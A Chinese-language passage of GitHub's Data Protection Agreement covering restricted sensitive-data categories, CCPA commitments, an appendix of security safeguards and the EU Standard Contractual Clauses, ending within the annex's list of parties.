CJIS 客户协议、HIPAA 业务伙伴、生物识别数据 + +除非事先获得 GitHub 的书面和明确同意,否则客户不得向 GitHub 提供以下任何个人数据 + +- 与客户根据 FBI 刑事司法信息服务或相关安全政策收集或以其他方式处理的刑事定罪和违法行为或个人数据有关。 +- 构成受保护的健康信息,受美国卫生与公众服务部发布的隐私、安全和违规通知规则、《联邦法规》第 45 篇第 160 和 164 部分(根据 1996 年《健康保险流通与责任法案》(公法 104-191)或州健康或医疗隐私法确立)的约束。 +- 作为临床试验或其他生物医学研究的一部分收集,该研究受联邦人类受试者保护政策(共同规则)的约束或根据联邦保护政策(共同规则)进行。 +- 受州、联邦或外国生物识别隐私法的约束,或以其他方式构成生物识别信息,包括有关个人的身体、生理、生物或行为特征的信息,或从此类信息中得出的信息,这些信息单独使用或与其他信息结合使用来确定个人身份。 + +### 加州消费者隐私法案 (CCPA)/加州隐私权法案 (CPRA) + +如果 GitHub 代表客户并根据客户书面指示在 CCPA 范围内处理个人数据,则 GitHub 向客户做出以下额外承诺。 GitHub 将代表客户处理个人数据,而不会 + +- 出售个人数据,CCPA 中定义了“出售”一词。 - 以书面形式或电子或其他方式将个人数据共享、出租、发布、披露、传播、提供、转让或以其他方式口头传达给第三方,以进行跨情境行为定向广告,无论是否用于货币或其他有价约因,包括不涉及货币兑换的针对跨情境行为定向广告的交易。 +- 出于 DPA 条款和 GitHub 客户协议中指定的业务目的以外的任何目的保留、使用或披露个人数据,包括出于 DPA 条款或 GitHub 客户协议中指定的业务目的以外的商业目的,或 CCPA 允许的其他目的。 +- 在与客户的直接业务关系之外保留、使用或披露个人数据。 +- 将个人数据与其从第三方或代表第三方接收或从加利福尼亚州居民处收集的个人信息相结合,但 GitHub 可能会将个人数据组合在一起,以执行 CCPA 或根据 CCPA 通过或颁布的任何法规允许的任何业务目的。 + +### 如何联系 GitHub + +如果客户认为 GitHub 未遵守其隐私或安全承诺,可以联系客户支持或使用 https://support.github.com/contact/privacy 上的 GitHub 隐私 Web 表单。 GitHub 的邮寄地址是: + +**GitHub Privacy**
+GitHub, Inc.
+88 Colin P. Kelly Jr. Street
+San Francisco, California 94107 USA
+ +GitHub B.V. 是 GitHub 在欧洲经济区的数据保护代表。 可以通过以下地址 联系 GitHub B.V. 的隐私代表: + +**GitHub B.V.**
+Vijzelstraat 68-72
+1017 HL Amsterdam
The Netherlands
+ +

附录 A – 安全保护措施

+ +GitHub 已实施并将维护 GitHub 代表客户处理的客户数据和个人数据,并且根据客户与 GitHub 服务相关的书面指示,采取以下技术和组织措施以及安全保障措施,这些措施与本 DPA(包括 GDPR 相关条款)中的安全承诺相结合,是 GitHub 对该数据安全性的唯一责任: + +领域 | 惯例 +-------|---------| +信息安全组织 | **安全责任方**。 GitHub 已任命一位或多位安全官负责协调和监控安全政策及程序。

**安全角色和责任**。 有权访问客户数据和个人数据的 GitHub 人员受保密义务的约束。

**风险管理程序**。 GitHub 执行年度风险评估。
在安全文档失效之后,GitHub 将根据相应保留要求来保留其安全文档。

**供应商管理**。 GitHub 具有供应商风险评估流程、供应商合同条款以及与供应商签订的其他数据保护协议。 +资产管理 | **资产清单**。 GitHub 维护存储客户数据和个人数据的所有介质的清单。 只有获得书面访问授权的 GitHub 人员方可访问此类介质清单。

**资产处理**
- GitHub 对客户数据和个人数据进行分类,以帮助识别数据并允许对其进行适当限制。
- GitHub 传达员工对数据保护的责任和问责制,最严重的情形下可导致被解雇。
GitHub 人员在远程访问客户数据和个人数据或在 GitHub 设施之外处理客户数据和个人数据之前,必须获得 GitHub 授权。 +人力资源安全 | **安全培训**。 作为初始入职培训的一部分,GitHub 要求所有新员工完成安全性和隐私性认知培训。 所有员工都必须参加年度培训,以便为安全和隐私基础知识设立基准。 +物理和环境安全 | **对设施的物理访问**。 GitHub 只允许已确认身份的授权人员出入处理客户数据和个人数据的信息系统所在的设施。

**对组件的物理访问**。 GitHub 维护包含客户数据和个人数据的介质的收发记录,包括介质类型、授权发送人/接收人、日期和时间、介质数量、所含客户数据类型。

**防止中断**。 GitHub 使用各种行业标准系统,防止由于电源故障或线路干扰导致数据丢失。

**组件报废处置**。 不再需要客户数据和个人数据时,GitHub 将使用行业标准流程来删除该数据。 +通信和运营管理 | **运营策略**。 GitHub 维护安全文档,此类文档描述 GitHub 的安全措施和相关程序,以及能够访问客户数据的 GitHub 人员的责任。

**数据恢复程序**
- GitHub 长期维护客户数据和个人数据的多份副本,以便能够从该副本恢复客户数据和个人数据,但备份频率不得低于每周一次(除非在该时段内没有更新任何客户数据和个人数据)。
- GitHub 将客户数据和个人数据副本及数据恢复程序保存在不同于处理客户数据和个人数据的主要计算机设备所在位置的地方。
- GitHub 制定特定程序来监管对客户数据副本的访问。
- GitHub 会记录数据恢复工作,包括负责人员、对所恢复数据的描述,在适用的情况下,还会记录在数据恢复过程中必须手动输入哪些数据(如果有)。

**恶意软件**。 GitHub 具有威胁检测控件,可帮助识别和响应对客户数据的异常或可疑访问,包括源自公共网络的恶意软件。

**数据超越边界**
- GitHub 会加密或允许客户加密通过公共网络传输的客户数据和个人数据。
- GitHub 限制对从其设施取出的介质上的客户数据和个人数据的访问。

**事件日志记录**。 GitHub 会记录或允许客户记录信息系统的访问和使用情况,包含客户数据、注册访问 ID、时间、授予或拒绝的授权以及相关活动。 +访问控制 | **访问策略**。 GitHub 维护能够访问客户数据的人员的安全权限记录。

**访问授权**
- GitHub 将维护并更新有权访问包含客户数据的 GitHub 系统的相关人员的记录。
- GitHub 将指定可以授权、更改或取消数据和资源的访问权限的人员。
- GitHub 会确保,如果有多个人员能够访问包含客户数据的系统时,在技术和架构可行且商业上合理的前提下,每个人都会具有单独的标识符/登录名。

**最小权限**
- 仅允许技术支持人员在需要时访问客户数据和个人数据。
- GitHub 只允许需要访问客户数据和个人数据才能履行其工作职能的人员访问这些数据。 GitHub 员工仅根据其在组织中的角色被授予对生产系统的访问权限。

**完整性和保密性**

- GitHub 指示 GitHub 人员在计算机无人值守时禁用管理会话。
- GitHub 以一种在生效期间经过加密或无法辨识的方式来存储密码。

**身份验证**
- GitHub 使用行业标准做法来确定试图访问信息系统的用户的身份,并对他们进行身份验证。
- 如果身份验证机制仅基于密码,则 GitHub 要求密码长度至少为八个字符。
- GitHub 确保不将已停用或过期的员工标识符授予其他人员。
- GitHub 将监控或允许客户监控使用无效密码反复尝试访问信息系统的行为。
- GitHub 将维护行业标准程序,停用已被破坏或无意中泄露的密码。
- GitHub 采用行业标准密码保护做法,包括在分配或分发密码时和存储期间保持密码的机密性和完整性的做法。

**网络设计**。 GitHub 会采取控制措施,以确保存储客户数据和个人数据的系统都不是用于 GitHub 业务运营的同一逻辑网络的一部分。 +信息安全事件管理 | **事件响应流程**
- GitHub 维护安全事件的记录,其中包含事件描述、时间段、违规后果、报告者姓名、事件报告对象以及事件处理的详细信息。
- 如果 GitHub Security 确认或合理怀疑 GitHub.com 客户受到数据泄露的影响,我们将毫不迟疑地通知客户
- GitHub 会跟踪或允许客户跟踪客户数据的泄露,包括在什么时间向谁披露了哪些数据。

**服务监控**。 GitHub 采用各种连续监控解决方案来预防、检测和缓解对站点的攻击。 +业务连续性管理 | - GitHub 会维护适用于处理客户数据和个人数据的 GitHub 信息系统所在设施的应急计划。
- GitHub 的冗余存储及其恢复数据的程序旨在尝试按照客户数据和个人数据丢失或破坏之前的原始或上次复制的状态来重建数据。 + +

附件 1 - 标准合同条款 (EU/EEA)

+ +### 控制方到处理方 + +#### 第 I 节 + +##### 条款 1 + +**目的与范围** + +
    +
  1. 这些标准合同条款的目的是确保个人数据向第三方国家/地区的传输符合法规 (EU) 2016/679(即《一般数据保护条例》,由欧洲议会和欧盟理事会于 2016 年 4 月 27 日颁布,涉及处理个人数据时对自然人的保护以及此类数据的自由移动)的要求。
  2. +
  3. 双方: +
      +
    1. 传输个人数据的自然人或法人、公共当局、机构或其他团体(以下简称“实体”),如附录 I.A 所列(以下简称“数据输出者”),以及
    2. +
    3. 直接或通过另一个实体(也是这些条款的缔约方)从数据输出者接收个人数据、已同意这些标准合同条款
    4. +
    + (以下简称“条款”)的位于第三个国家/地区的实体,如附录 I. A 所列(以下简称“数据输入者”)。
  4. +
  5. 如附录 I.B 之规定,这些条款适用于个人数据的传输。
  6. +
  7. 这些条款的附录包含其中提及的附件,构成这些条款的组成部分。
  8. +
+ +##### 条款 2 + +**条款的效力和不变性** +
    +
  1. 这些条款规定了适当的保障措施,包括可强制执行的数据主体权利和有效的法定补偿(依据法规 (EU) 2016/679 的第 46(1) 条和第 46(2)(c) 条)以及针对数据从控制方到处理方和/或从处理方到子处理方的传输的标准合同条款(依据法规 (EU) 2016/679 的第 28(7) 条),前提是它们未经修改,除非为了选择适当的模块或在附录中添加或更新信息。 这并不妨碍双方在更广泛的合同中包括这些条款中规定的标准合同条款和/或添加其他条款或额外保障措施,前提是它们不直接或间接地与这些条款相抵触或损害数据主体的基本权利或自由。
  2. +
  3. 这些条款不影响数据输出者根据法规 (EU) 2016/679 须承担的义务。
  4. +
+ +##### 条款 3 + +**第三方受益人** + +
    +
  1. 数据主体可以作为第三方受益人,针对数据输出者和/或数据输入者调用和执行这些条款,但以下情况除外:
  2. +
      +
    1. 条款 1、条款 2、条款 3、条款 6、条款 7;
    2. +
    3. 条款 8.1(b)、8.9(a)、(c)、(d) 和 (e);
    4. +
    5. 条款 9(a)、(c)、(d) 和 (e);
    6. +
    7. 条款 12(a)、(d) 和 (f);
    8. +
    9. 条款 13;
    10. +
    11. 条款 15.1(c)、(d) 和 (e);
    12. +
    13. 条款 16(e);
    14. +
    15. 条款 18(a) 和 (b)。
    16. +
    +
  3. 第 (a) 段不损害法规 (EU) 2016/679 规定的数据主体的权利。
  4. +
+ +##### 条款 4 + +**解释** + +
    +
  1. 如果这些条款使用法规 (EU) 2016/679 中定义的术语,这些术语的含义须与其在该条例中的含义相同。
  2. +
  3. 这些条款须按照法规 (EU) 2016/679 的规定进行阅读和解释。
  4. +
  5. 这些条款的解释不得与法规 (EU) 2016/679 规定的权利和义务相冲突。
  6. +
+ +##### 条款 5 + +**层次结构** + +如果这些条款与双方签订的、在这些条款商定或随后签订时存在的相关协议的规定存在矛盾,则须以这些条款为准。 + +##### 条款 6 + +**传输说明** + +有关传输的详细信息,特别是被传输的个人数据的类别以及数据传输的目的,将在附录 I.B 中指定。 + +##### 条款 7 + +**对接条款** + +
    +
  1. 非本条款缔约方的实体,经双方同意,可作为数据输出者或数据输入者,通过填写附录并签署附录 I.A 随时加入这些条款。
  2. +
  3. 一旦填写附录并签署附录 I.A,加入实体须成为本条款的缔约方,并根据其在附录 I.A 中的头衔享有数据输出者或数据输入者的权利和义务。
  4. +
  5. 加入的实体在成为缔约方之前的时间段内不享有根据这些条款产生的任何权利,也无须承担因这些条款产生的任何义务。
  6. +
+ +#### 第 II 节 - 双方的义务 + +##### 条款 8 + +**数据保护保障措施** + +数据输出者保证其已采取合理努力,确定数据输入者能够通过实施适当的技术和组织措施,履行其在这些条款下的义务。 + +**8.1 说明** +
    +
  1. 数据输入者须仅根据数据输出者的书面指示处理个人数据。 数据输出者可以在整个合同期间给出此类指示。
  2. +
  3. 如果数据输入者无法遵守这些指示,须立即通知数据输出者。
  4. +
+ + +**8.2 目的限制** + +除非有数据输出者的进一步指示,否则数据输入者须仅出于附录 I.B 所述的数据传输的特定目的处理个人数据。 + +**8.3 透明度** + +数据输出者须根据要求,将这些条款(包括双方完成的附录)的副本免费提供给数据主体。 出于保护商业秘密或其他机密信息(包括附录 II 中描述的措施和个人数据)的需要,数据输出者可以在共享副本之前对这些条款附录的部分文本进行编校,但在数据主体无法理解其内容或行使其权利时,数据输出者须提供一份有意义的摘要。 双方须根据要求,在可能的情况下向数据主体提供编校的理由,但不得透露编校的信息。 本条款不影响数据输出者根据法规 (EU) 2016/679 第 13 条和第 14 条须承担的义务。 + +**8.4 准确性** + +如果数据输入者意识到其收到的个人数据不准确或已过时,则须立即通知数据输出者。 在这种情况下,数据输入者须与数据输出者合作删除或纠正数据。 + +**8.5 处理、擦除或退还数据的期限** + +数据输入者的数据处理只能在附录 I.B 规定的期限内进行。 在停止提供处理服务后,数据输入者须根据数据输出者的选择,删除代表数据输出者处理的所有个人数据,并向数据输出者证明其已经这样做,或者将代表其处理的所有个人数据传回给数据输出者并删除现有副本。 在数据被删除或退还之前,数据输入者须继续确保遵守这些条款。 如果适用于数据输入者的当地法律禁止退还或删除个人数据,数据输入者保证将继续确保遵守这些条款,并且仅会在当地法律要求的范围和时间内处理这些数据。 这不会影响条款 14,尤其是条款 14(e) 下针对数据输入者的此要求:在整个合同期限内,如果数据输入者有理由相信它正在或已经成为不符合条款 14(a) 要求的法律或惯例的管辖对象,则应通知数据输出者。 + +**8.6 处理的安全性** + +
    +
  1. 数据输入者以及数据输出者(数据传输期间)须实施适当的技术和组织措施,以确保数据的安全,包括防止安全违规行为导致数据被意外或非法的破坏、丢失、更改、未经授权披露或访问(以下简称“个人数据泄露”)。 在评估适当的安全级别时,双方须适当考虑技术现状、实施成本、数据处理的性质、范围、情境和目的以及处理数据主体的数据过程中涉及的风险。 如果数据处理的目的可以在采用加密或假名的情况下实现,双方尤其须考虑采用加密或假名,包括在传输过程中。 在使用假名的情况下,用于将个人数据归为特定数据主体的附加信息须在可能的情况下由数据输出者独家控制。 在履行本段规定的义务时,数据输入者至少须实施附录 II 中规定的技术和组织措施。 数据输入者须进行定期检查,以确保这些措施继续提供适当水平的安全性。
  2. +
  3. 数据输入者须仅在执行、管理和监控合同严格需要的范围内,允许其员工访问个人数据。 它须确保被授权处理个人数据的人员已承诺对个人数据进行保密或承诺履行相应的法定保密义务。
  4. +
  5. 如果数据输入者根据这些条款处理的个人数据发生泄露,数据输入者须采取适当措施来解决泄露问题,包括采取措施减轻其不利影响。 数据输入者还须在知晓泄露情况后立即通知数据输出者,不得出现不当延误。 此类通知须包含可从其获取更多信息的联系点的详细信息、泄露性质的描述(如果可行,须包括相关数据主体和个人数据记录的类别和大致数量)、其可能的后果以及为解决数据泄露而采取或提议的措施,包括酌情减轻其可能不利影响的措施。 如果不可能同时提供所有信息,初始通知须包含当时可用的信息,并且后续信息须在可用时立即提供,不得无故拖延。
  6. +
  7. 数据输入者须根据处理性质并结合数据输入者所掌握的信息,配合和协助数据输出者,使数据输出者能够履行其在法规 (EU) 2016/679 下的义务,尤其是酌情通知相关控制方或主管监管机构以及受影响的数据主体。
  8. +
+ +**8.7 敏感数据** + +如果传输的个人数据会揭示种族或民族、政见、宗教或哲学信仰或工会成员资格、遗传数据或用于唯一识别自然人的生物特征数据、有关健康或个人性生活或性取向的数据,或与刑事定罪和犯罪有关的数据(以下简称“敏感数据”),数据输入者应该运用附录 I.B 中所述的具体限制和/或额外保护措施。 + +**8.8 进一步传输** + +数据输入者须仅根据数据输出者的书面指示向第三方披露个人数据。 此外,仅在以下情况下才可以向位于欧盟以外的第三方(1)(与数据输入者位于同一国家/地区或位于另一个第三国家/地区)披露数据(以下简称“进一步传输”):该第三方在适当的模块下受或同意受这些条款的约束,或者: + +
    +
  1. 进一步传输到的国家/地区受益于根据法规 (EU) 2016/679 第 45 条做出的、涵盖进一步传输的充分性决定;
  2. +
  3. 第三方根据法规 (EU) 2016/679 第 46 或 47 条,确保对相关处理采取适当的保障措施;
  4. +
  5. 在特定行政、监管或司法程序的背景下,进一步传输是确立、行使或抗辩法律主张所必需的;或者
  6. +
  7. 进一步传输是保护数据主体或其他自然人的切身利益所必需的。

  8. + 任何进一步传输的前提条件都是数据输入者必须遵守这些条款下的所有其他保障措施,特别是目的限制。 +
+ +**8.9 文档和合规性** + +
    +
  1. 数据输入者须及时、充分地处理数据输出者提出的与这些条款下的处理相关的询问。
  2. +
  3. 双方须能够证明其遵守了这些条款。 特别是,数据输入者须保留有关代表数据输出者进行的处理活动的适当文件。
  4. +
  5. 数据输入者须向数据输出者提供证明遵守本条款中规定的义务所需的所有信息,并应数据输出者的要求,允许并协助以合理的间隔或在出现不合规迹象时对本条款所涵盖的处理活动进行审计。 在决定审查或审计时,数据输出者可能会考虑数据输入者持有的相关认证。
  6. +
  7. 数据输出者可以选择自行进行审计或委托独立审计师进行审计。 审计可能包括对数据输入者的场所或物理设施进行检查,并且适当情况下,须在合理通知的情况下进行。
  8. +
  9. 双方须根据要求向主管监管机构提供 (b) 和 (c) 段所述的信息,包括任何审计的结果。
  10. +
+ + +##### 条款 9 + +**使用子处理方** + +
    +
  1. 一般书面授权:数据输入者拥有数据输出者从商定列表中聘用子处理方的一般授权。 数据输入者须至少提前 90 天以书面形式明确通知数据输出者通过添加或更换子处理方对该列表进行的任何有意更改,从而让数据输出者有足够的时间能够在聘用子处理方之前对此类更改提出异议。 数据输入者须向数据输出者提供必要的信息,使数据输出者能够行使其反对权。
  2. +
  3. 如果数据输入者聘用子处理方(代表数据输出者)执行特定的处理活动,则数据输入者须通过书面合同的方式进行,该合同实质上规定了与数据输入者根据这些条款须承担的义务相同的数据保护义务,包括数据主体的第三方受益人权利。(2)双方同意,数据输入者遵守本条款即表示数据输入者履行了其在条款 8.8 下的义务。 数据输入者须确保子处理方遵守数据输入者根据这些条款应承担的义务。
  4. +
  5. 数据输入者须根据数据输出者的要求提供此类子处理方协议和任何后续修订的副本。 在保护商业秘密或其他机密信息(包括个人数据)的必要范围内,数据输入者可以在共享副本之前编辑协议文本。
  6. +
  7. 数据输入者须继续就子处理方对其与数据输入者签订的合同中的义务的履行情况,对数据输出者承担全部责任。 如果子处理方未能履行其在该合同项下的义务,数据输入者须通知数据输出者。
  8. +
  9. 数据输入者须与子处理方就第三方受益人条款达成一致意见,依据该条款,如果数据输入者事实上消失、在法律上不复存在或破产,数据输出者有权终止子处理方合同,并指示子处理方删除或归还个人数据。
  10. +
+ +##### 条款 10 + +**数据主体权利** + +
    +
  1. 数据输入者须将其从数据主体收到的任何请求及时通知数据输出者。 除非获得数据输出者的授权,否则数据输入者不得自行回应该请求。
  2. +
  3. 数据输入者须协助数据输出者履行其义务,响应数据主体根据法规 (EU) 2016/679 行使其权利的请求。 在这方面,双方须在附录 II 中提出适当的技术和组织措施,同时考虑到处理的性质、提供协助的方式以及所需协助的范围和程度。
  4. +
  5. 在履行 (a) 和 (b) 款规定的义务时,数据输入者须遵守数据输出者的指示。
  6. +
+ +##### 条款 11 + +**纠正** + +
    +
  1. 数据输入者须通过个人通知或在其网站上以透明且易于访问的格式将授权处理投诉的联系点告知数据主体。 它须迅速处理从数据主体收到的任何投诉。
  2. +
  3. 如果数据主体与其中一方在这些条款的遵守方面发生争议,该方须尽最大努力及时友好地解决问题。 双方须相互通报此类争议,并在适当情况下合作解决此类争议。
  4. +
  5. 如果数据主体根据第 3 条援引第三方受益人权利,数据输入者须接受数据主体的以下决定:
  6. +
      +
    1. 根据条款 13 向其经常居住地或工作地点所在成员国的监管机构或主管监管机构提出投诉;
    2. +
    3. 将争议提交给条款 18 所指的主管法院。
    4. +
    +
  7. 双方同意,根据法规 (EU) 2016/679 第 80(1) 条规定的条件,数据主体可由非营利机构、组织或协会代表。
  8. +
  9. 数据输入者须遵守适用的欧盟或成员国法律下具有约束力的决定。
  10. +
  11. 数据输入者同意,数据主体作出的选择不会损害其依照适用法律寻求补救措施的实质性和程序性权利。
  12. +
+ +##### 条款 12 + +**责任** + +
    +
  1. 各方须对因违反本条款而给另一方造成的任何损害承担责任。
  2. +
  3. 数据输入者须对数据主体负责,并且数据主体有权就数据输入者或其子处理方因违反这些条款下的第三方受益人权利而对数据主体造成的任何实质性或非实质性损害获得赔偿。
  4. +
  5. 尽管有 (b) 段的规定,但数据输出者须对数据主体负责,并且数据主体有权就数据输出者或其数据输入者(或其子处理方)因违反这些条款下的第三方受益人权利而对数据主体造成的任何实质性或非实质性损害获得赔偿。 这不影响数据输出者的责任,如果数据输出者是代表控制方行事的处理方,则不影响控制方根据法规 (EU) 2016/679 或法规 (EU) 2018/1725(如适用)应承担的责任。
  6. +
  7. 双方同意,如果根据 (c) 段的规定,数据输出者对数据输入者(或其子处理方)造成的损害承担责任,则数据输出者有权向数据输入者追回与数据输入者对这些损害承担的责任相对应的那部分赔偿。
  8. +
  9. 如果因违反这些条款而对数据主体造成的任何损害由多方负责,则所有责任方均须承担连带责任,并且数据主体有权针对其中任何一方向法院提起诉讼。
  10. +
  11. 双方同意,如果根据 (e) 款的规定,一方须承担责任,则其有权向另一方追回与其对这些损害承担的责任相对应的那部分赔偿。
  12. +
  13. 数据输入者不得援引子处理方的行为来逃避其自身的责任。
  14. +
+ +##### 条款 13 + +**监管** + +
    +
  1. [如果数据输出者位于欧盟成员国:]负责确保数据输出者遵守关于数据传输的法规 (EU) 2016/679(如附录 I.C 所示)的监管机构须作为主管监管机构。

    + [如果数据输出者不是在欧盟成员国成立,但根据法规 (EU) 2016/679 第 3(2) 条,其成立的位置属于法规 (EU) 2016/679 适用的地域范围,并且已根据法规 (EU) 2016/679 第 27(1) 条任命了代表:]法规 (EU) 2016/679 第 27(1) 条所指的代表所在成员国的监管机构(如附录 I.C 所示)须作为主管监管机构。

    + [如果数据输出者不是在欧盟成员国成立,但根据法规 (EU) 2016/679 第 3(2) 条,其成立的位置属于法规 (EU) 2016/679 适用的地域范围,同时它不必根据法规 (EU) 2016/679 第 27(2) 条任命代表:]因向数据主体提供商品或服务而根据本条款传输其个人数据的数据主体,或其行为受到监控的数据主体所在的成员国之一的监管机构(如附录 I.C 所示)须作为主管监管机构。

  2. +
  3. 数据输入者同意在旨在确保遵守这些条款的任何程序中,服从主管监管机构的管辖并配合其工作。 特别是,数据输入者同意回应询问、接受审计并遵守监管机构采取的措施,包括补救和补偿措施。 它须向监管机构提供已采取的必要行动的书面确认。
  4. +
+ +#### 第 III 节 – 地方法律以及受到公共机关访问时的义务 + +##### 条款 14 + +**影响对条款的遵守情况的当地法律和惯例** + +
    +
  1. 双方保证,他们没有理由相信适用于数据输入者处理个人数据的第三目的地国家/地区的法律和惯例(包括披露个人数据的任何要求或授权公共机关访问的措施)会阻止数据输入者履行其在这些条款下的义务。 这是基于这样一种理解,即尊重基本权利和自由的本质,并且不超过民主社会中为保障法规 (EU) 2016/679 的第 23(1) 条所列目标之一所必需和相称的范围的法律和惯例不与这些条款相矛盾。
  2. +
  3. 双方声明,在提供 (a) 段中的保证时,他们特别考虑了以下要素:
  4. +
      +
    1. 传输的具体情况,包括处理链的长度、涉及的参与者数量和使用的传输渠道;预期的进一步传输;收件人类型;处理的目的;传输的个人数据的类别和格式;发生传输的经济部门;传输数据的存储位置;
    2. +
    3. 第三目的地国家/地区的法律和惯例 — 包括要求向公共机关披露数据或授权此类机关访问的法律和惯例 — 与传输的具体情况以及适用的限制和保障措施相关(3)
    4. +
    5. 任何相关的合同、技术或组织保障措施已到位,以补充这些条款下的保障措施,包括在传输过程中采取的措施以及在目的地国家/地区处理个人数据的措施。
    6. +
    +
  5. 数据输入者保证,在根据 (b) 段进行评估时,已尽最大努力向数据输出者提供相关信息,并同意将继续与数据输出者合作以确保遵守这些条款。
  6. +
  7. 双方同意根据 (b) 段记录评估,并根据要求将其提供给主管监管机构。
  8. +
  9. 数据输入者同意,如果在同意这些条款后的整个合同期限内,数据输入者有理由相信自己正在或已经受到不符合 (a) 段要求的法律或惯例的约束,则立即通知数据输出者,包括第三国家/地区法律的变化或表明此类法律在实践中的应用不符合 (a) 段要求的措施(例如披露请求)。
  10. +
  11. 根据 (e) 段发出通知后,或者如果数据输出者有理由相信数据输入者无法再履行其在这些条款下的义务,数据输出者须立即确定适当的措施(例如确保安全性和保密性的技术或组织措施),以便由数据输出者和/或数据输入者采用来解决这种情况。 如果数据输出者认为无法为此类传输提供适当的保护措施,或者主管监管机构指示这样做,则数据输出者须暂停数据传输。 在这种情况下,数据输出者有权终止与根据这些条款处理个人数据相关的合同。 如果合同涉及两个以上的当事方,除非双方另有约定,否则数据输出者可以仅针对相关方行使此终止权。 如果合同根据本条款终止,则条款 16(d) 和 (e) 适用。
  12. +
+ +##### 条款 15 + +**受到公共机关访问时数据输入者的义务** + +**15.1 通知** + +
    +
  1. 数据输入者同意,在以下情况下,立即通知数据输出者,并在可能的情况下及时通知数据主体(必要时借助数据输出者的帮助):
  2. +
      +
    1. 根据目的地国家/地区的法律,数据输入者收到来自公共机关(包括司法机关)的具有法律约束力的要求,要求披露根据这些条款传输的个人数据;此类通知须包括有关所请求的个人数据、请求机关、请求的法律依据和所提供的响应的信息;或者
    2. +
    3. 数据输入者获悉公共机关根据目的地国家/地区的法律直接访问根据这些条款传输的个人数据;此类通知须包括数据输入者可获得的所有信息。
    4. +
    +
  3. 如果目的地国家/地区的法律禁止数据输入者通知数据输出者和/或数据主体,则数据输入者同意尽最大努力获得禁令的豁免,以期尽快传达尽可能多的信息。 数据输入者同意记录其最大努力,以便能够根据数据输出者的要求展示它们。
  4. +
  5. 在目的地国家/地区法律允许的情况下,数据输入者同意在合同期限内定期向数据输出者提供尽可能多的与收到的请求相关的信息(特别是请求数量、请求的数据类型)、提出请求的机关、请求是否受到质疑以及此类质疑的结果等)。
  6. +
  7. 数据输入者同意在合同期限内根据 (a) 至 (c) 段保留信息,并应要求将其提供给主管监管机构。
  8. +
  9. (a) 至 (c) 段不影响数据输入者根据条款 14(e) 和条款 16 在其无法遵守这些条款时立即通知数据输出者的义务。
  10. +
+ +**15.2 审查合法性和数据最小化** + +
    +
  1. 数据输入者同意审查披露请求的合法性,特别是它是否仍在向提出请求的公共机关授予的权力范围内,并在经过仔细评估后判定根据目的地国家/地区的法律、国际法规定的适用义务和国际礼让原则,有合理理由认为该请求非法时对其提出质疑。 数据输入者须在相同条件下寻求上诉的可能性。 当对请求提出质疑时,数据输入者须寻求临时措施以中止请求的效力,直到主管司法机关对其是非曲直做出决定为止。 在适用的程序规则要求这样做之前,它不得披露所要求的个人数据。 这些要求不会影响数据输入者在条款 14(e) 下的义务。
  2. +
  3. 数据输入者同意记录其法律评估和对披露请求的任何质疑,并在目的地国家/地区法律允许的范围内向数据输出者提供该文件。 它还须根据要求将其提供给主管监管机构。
  4. +
  5. 数据输入者同意根据对请求的合理解释,在回应披露请求时提供允许的最少量信息。
  6. +
+ +#### 第 IV 节 – 最终条款 + +##### 条款 16 + +**未遵守条款和终止** + +
    +
  1. 如果数据输入者因任何原因而无法遵守这些条款,须立即通知数据输出者。
  2. +
  3. 如果数据输入者违反这些条款或无法遵守这些条款,数据输出者须暂停向数据输入者传输个人数据,直到合规性再度得到保障或合同终止。 这不影响条款 14(f)。
  4. +
  5. 在以下情况下,数据输出者有权终止与根据这些条款处理个人数据相关的合同:
  6. +
      +
    1. 数据输出者已根据 (b) 段暂停向数据输入者传输个人数据,并且在合理时间内以及在任何情况下在暂停后一个月内未恢复对这些条款的遵守;
    2. +
    3. 数据输入者严重或屡次违反这些条款;或者
    4. +
    5. 数据输入者未能遵守主管法院或监管机构对其在这些条款项下的义务做出的具有约束力的决定。
    6. +

    + 在这些情况下,它须将此类不合规情况通知主管监管机构和数据输出者。 如果合同涉及两个以上的当事方,除非双方另有约定,否则数据输出者可以仅针对相关方行使此终止权。 +
  7. 在根据 (c) 段终止合同之前已转移的个人数据须由数据输出者选择立即退还给数据输出者或全部删除。 这同样适用于数据的任何副本。 数据输入者须向数据输出者证明数据已被删除。 在数据被删除或退还之前,数据输入者须继续确保遵守这些条款。 如果适用于数据输入者的当地法律禁止退还或删除所传输的个人数据,数据输入者保证将继续确保遵守这些条款,并且仅会在当地法律要求的范围和时间内处理这些数据。
  8. +
  9. 在以下情况下,任一方都可以取消同意受这些条款的约束:(i) 欧盟委员会根据法规 (EU) 2016/679 第 45(3) 条做出决定,该决定涵盖这些条款所适用的个人数据的传输;或 (ii) 法规 (EU) 2016/679 成为个人数据传输目的地国家/地区法律框架的一部分。 这不影响适用于法规 (EU) 2016/679 下相关处理的其他义务。
  10. +
+ +##### 条款 17 + +**管辖法律** + +这些条款受欧盟成员国之一的法律管辖,前提是该法律允许第三方受益人权利。 双方同意,这须为荷兰的法律。 + +##### 条款 18 + +**法院和管辖权地选择** + +
    +
  1. 因这些条款而引发的任何争议须由欧盟成员国的法院解决。
  2. +
  3. 双方同意这须为荷兰法院。
  4. +
  5. 数据主体还可以在交由其经常居住地所在成员国的法院解决之前对数据输出者和/或数据输入者提起法律诉讼。
  6. +
  7. 双方同意亲自提交到上述法院的管辖权地。
  8. +
+ +## 附录 I + +**标准合同条款 (EU/EEA)** + +### A. 缔约方清单 + +**数据输出者**:客户是数据输出者
+名称:请参阅 GitHub 客户协议
+地址:请参阅 GitHub 客户协议
+联系人的姓名、职位和联系方式:请参阅 GitHub 客户协议
+与根据这些条款传输的数据相关的活动:
+数据输出者是 DPA 和 GitHub 客户协议中定义的在线服务或专业服务用户。
+签名和日期:请参阅 GitHub 客户协议(DPA 和标准合同条款 (EU/EEA) 已合并到 GitHub 客户协议中)
+角色(控制方/处理方):控制方(除非客户协议中另有约定)。
+ +**数据输入者**:
+名称:GitHub, Inc.
+地址:88 Colin P Kelly Jr St, San Francisco, CA 94107, USA
+联系人的姓名、职位和联系方式:Frances Wiet,隐私主管,fwiet@github.com
+与根据这些条款传输的数据相关的活动:
+GitHub, Inc. 是全球软件和服务生产商
+签名和日期:请参阅 GitHub 客户协议(DPA 和标准合同条款 (EU/EEA) 已合并到 GitHub 客户协议中)
